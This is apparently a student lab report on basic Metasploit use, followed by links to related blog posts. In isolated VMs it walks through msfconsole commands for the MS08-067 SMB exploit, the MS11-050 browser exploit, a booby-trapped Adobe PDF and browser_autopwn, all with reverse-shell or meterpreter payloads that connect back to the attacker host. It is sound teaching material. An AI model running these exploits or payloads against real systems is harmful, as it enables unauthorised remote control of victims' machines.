20145216史婧瑶 《网络对抗》 MSF基础应用
20145216史婧瑶 《网络对抗》 MSF基础应用
实验回答问题
用自己的话解释什么是exploit,payload,encode.
- exploit:渗透攻击模块,测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。
- payload:攻击载荷模块,由一些可动态运行在远程主机上的代码组成
- encode:编码器模块,对指令重新进行编码,用以实现反检测功能、指令顺利执行等
实践过程
主动攻击(ms08_067漏洞)
MS08_067远程漏洞攻击实践:Shell
1、在VMware中设置两台虚拟机网络为NAT模式,自动分配IP地址,之后两台虚拟机就可以直接ping通。如下图:

2、在kali终端中开启msfconsole。
3、输入命令search ms08_067,会显示出找到的渗透模块,如下图所示:

4、输入命令use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用。
5、输入命令show payload会显示出有效的攻击载荷,如下图所示,我们找到一个shell_reverse_tcp。

6、命令show targets会显示出可以被攻击的靶机的操作系统型号,如下图所示:

7、使用命令set payload generic/shell_reverse_tcp设置攻击有效载荷。
8、输入命令show options显示我们需要在攻击前需要设置的数据。

9、输入命令
set LHOST "kali Ip"
set RHOST "Win xp Ip"
并使用命令show options再次查看payload状态。

10、输入命令exploit开始攻击,如下图所示是正常攻击成功结果。

在kali上执行ipconfig/all得到如下图所示:

在win xp上执行同样的命令,如下图所示:

MS08_067远程漏洞攻击实践:meterpreter
1、前面依然使用命令use exploit/windows/smb/ms08_067_netapi,进入ms08_067漏洞模块。
2、设置payload:set payload windows/meterpreter/reverse_tcp
3、show options,查看需要设置的ip地址,如下图所示,是已经设置好的

4、成功攻击结果:
针对浏览器的攻击(MS11_050漏洞)
1、设置虚拟机网络为NAT模式,保证两台虚拟机可以相互间ping通。

2、在kali终端中开启msfconsole。
3、输入命令use windows/browser/ms11_050_mshtml_cobjectelement,进入该漏洞模块。
4、输入info查看信息:


5、设置对应的载荷set payload windows/meterpreter/reverse_tcp;
6、show options查看需要设置的相关信息:

7、设置相关信息
set LHOST ‘kali Ip’
set LPORT XXXX
set URIPATH XXX

8、exploit,如下图所示,有靶机需要访问的ip地址:

9、在靶机IE上输入网址,并在靶机上查看信息。
靶机端IE:

kali中显示一个session 1已经创建:

10、输入命令sessions -i 1,开始连接

11、攻击成功,获取shell

针对客户端的攻击(Adobe阅读器)
1、两台虚拟机,其中一台为kali,一台为windows xp sp3。
2、设置虚拟机网络为NAT模式,保证两台虚拟机可以ping通。
3、kali下打开显示隐藏文件。
4、在kali终端中开启msfconsole。
5、输入命令use exploit/windows/fileformat/adobe_cooltype_sing,进入该漏洞模块的使用。
6、使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷。
7、输入命令show options显示我们需要在攻击前需要设置的数据,如下图:

8、输入命令
set FILENAME xxx.pdf
set LHOST "KALI Ip"
set LPORT xxxx
并使用命令show options,看是否设置成功。

9、输入exploit,生成pdf文件,并可以看到pdf所在文件夹,将pdf复制到靶机里。

10、使用命令back退出当前模块,并使用use exploit/multi/handler新建一个监听模块。
11、使用set payload windows/meterpreter/reverse_tcp建立一个反向连接。
12、使用命令exploit开始攻击,在xp中打开pdf。


13、kali中显示成功回连。

14、输入shell,查看xp靶机信息。

应用辅助模块
TCP"XMas"端口扫描
该扫描可以用来判断端口是开放还是关闭,输入命令use auxiliary/scanner/portscan/xmas,并输入show options查看需要设置的选项。

设置靶机IP和端口号。


输入run后,弹出如下提示:

输入密码后开始扫描,结果如下:

表示80端口是开放或者被过滤(屏蔽)的
browser_autopwn模块
browser_autopwn是Metasploit提供的辅助功能模块。在用户访问Web页面时,它会自动攻击受害者的浏览器。在开始攻击之前,browser_autopwn能够检测用户使用的浏览器类型,browser_autopwn将根据浏览器的检测结果,自行部署最合适的exploit。

设置反向TCP连接将要连接的主机IP地址和URI路径:

执行exploit:


在windows7中打开浏览器访问http://172.16.47.130:8080/filetypes这个网址:

攻击成功:

实验总结与体会
这次实验我浪费了很多时间,因为电脑存储空间不足的原因,我无法安装靶机,于是临时买了一个sd卡,才勉强能完成这次实验,在等待问题解决的过程中,我看了许多同学的博客,因此避免了许多错误的产生。这次实验虽然有4个实践任务,但是我认为原理都是类似的,通过完成这次实验,我对msf的应用了解的更多更深了。
20145216史婧瑶 《网络对抗》 MSF基础应用的更多相关文章
- 20145216史婧瑶《网络对抗》Web安全基础实践
20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些 ...
- 20145216史婧瑶《网络对抗》Web基础
20145216史婧瑶<网络对抗>Web基础 实验问题回答 (1)什么是表单 表单在网页中主要负责数据采集功能.一个表单有三个基本组成部分: 表单标签.表单域.表单按钮. (2)浏览器可以 ...
- 20145216史婧瑶《网络对抗》逆向及Bof进阶实践
20145216史婧瑶<网络对抗>逆向及Bof进阶实践 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢 ...
- 20145216史婧瑶《Java程序设计》第10周学习总结
20145216 <Java程序设计>第10周学习总结 教材学习内容总结 网络编程 一.网络概述 网络编程就是两个或多个设备(程序)之间的数据交换. 识别网络上的每个设备:①IP地址②域名 ...
- 20145216史婧瑶《Java程序设计》第五次实验报告
20145216 实验五<Java网络编程> 实验内容 1.掌握Socket程序的编写 2.掌握密码技术的使用 3.设计安全传输系统 实验要求 1.基于Java Socket实现安全传输 ...
- 20145216史婧瑶《Java程序设计》第9周学习总结
20145216 <Java程序设计>第9周学习总结 教材学习内容总结 第十六章 整合数据库 16.1 JDBC入门 撰写应用程序是利用通信协议对数据库进行指令交换,以进行数据的增删查找. ...
- 20145216史婧瑶《Java程序设计》第8周学习总结
20145216 <Java程序设计>第8周学习总结 教材学习内容总结 第十五章 通用API 15.1 日志 java.util.logging 包提供了日志功能相关类与接口,不必额外配置 ...
- 20145216史婧瑶《Java程序设计》第7周学习总结
20145216 <Java程序设计>第7周学习总结 教材学习内容总结 第十三章 时间与日期 13.1 认识时间与日期 就目前来说,即使标注为GMT(无论是文件说明,或者是API的日期时间 ...
- 20145216 史婧瑶《Java程序设计》第6周学习总结
20145216 <Java程序设计>第6周学习总结 教材学习内容总结 第十章 输入/输出 10.1 InputStream与OutputStream 如果要将数据从来源中取出,可以使用输 ...
随机推荐
- SHU 第15届上海大学程序设计联赛夏季赛[热身赛] 第三题(G题) - 英语成绩
看完题目就觉得是个图论题…… 每个人的成绩就是vertice,两个人的分数差就是edge,那么肯定类似于一种relax的方式,不断将每个人的成绩的min往上提, 当然,单纯的遍历一遍G.E肯定不可能就 ...
- Ubuntu:编译Linux内核源代码和内核模块
1. 目的 内核模块需要运行在Linux 3.8.13内核中,因此需要为此内核重新编译内核模块源代码. 2. 步骤 1.在Ubuntu 14.04 64位(内核3.13.0-24-generic)上, ...
- flask中cookie,session的存储,调用,删除 方法(代码demo)
# -*- encoding: utf-8 -*- # cookie,session的存储,调用,删除 from flask import Flask,make_response,request,se ...
- H5,PC网页屏幕尺寸相关整理(scrollLeft,scrollWidth,clientWidth,offsetWidth)
HTML:scrollLeft,scrollWidth,clientWidth,offsetWidth到底指的哪到哪的距离之完全详解scrollHeight: 获取对象的滚动高度. scrollLef ...
- linux删除指定行&删除行首空格&替换字符
打印并删除2~1000行 nl /etc/passwd | sed '2,1000d' |more 删除行首空格 sed -i 's/^[][ ]*//g' file 替换分隔符 说明:文件中数据是由 ...
- 虫师的性能测试思想html网页学习
http://www.cnblogs.com/fnng/category/387349.html
- android奔溃日期一闪而过
Android Studio日期崩溃了一闪而过,看不到原因:可以设置No Filters就可以了
- 启动InnoDB引擎的方法
启动InnoDB引擎的方法 http://down.chinaz.com/server/201207/2090_1.htm 启动InnoDB引擎的方法 Mysql中默认的是MyISAM数据引擎,可惜此 ...
- Inception系列
从GoogLeNet的Inceptionv1开始,发展了众多inception,如inception v2.v3.v4与Inception-ResNet-V2. 故事还是要从inception v1开 ...
- 【剑指offer】合并两个排序的链表
一.题目: 输入两个单调递增的链表,输出两个链表合成后的链表,当然我们需要合成后的链表满足单调不减规则. 二.思路: 递归思想,首先判断一方为空的情况,一方为空则直接返回另一方.都不为空时,首先找到表 ...
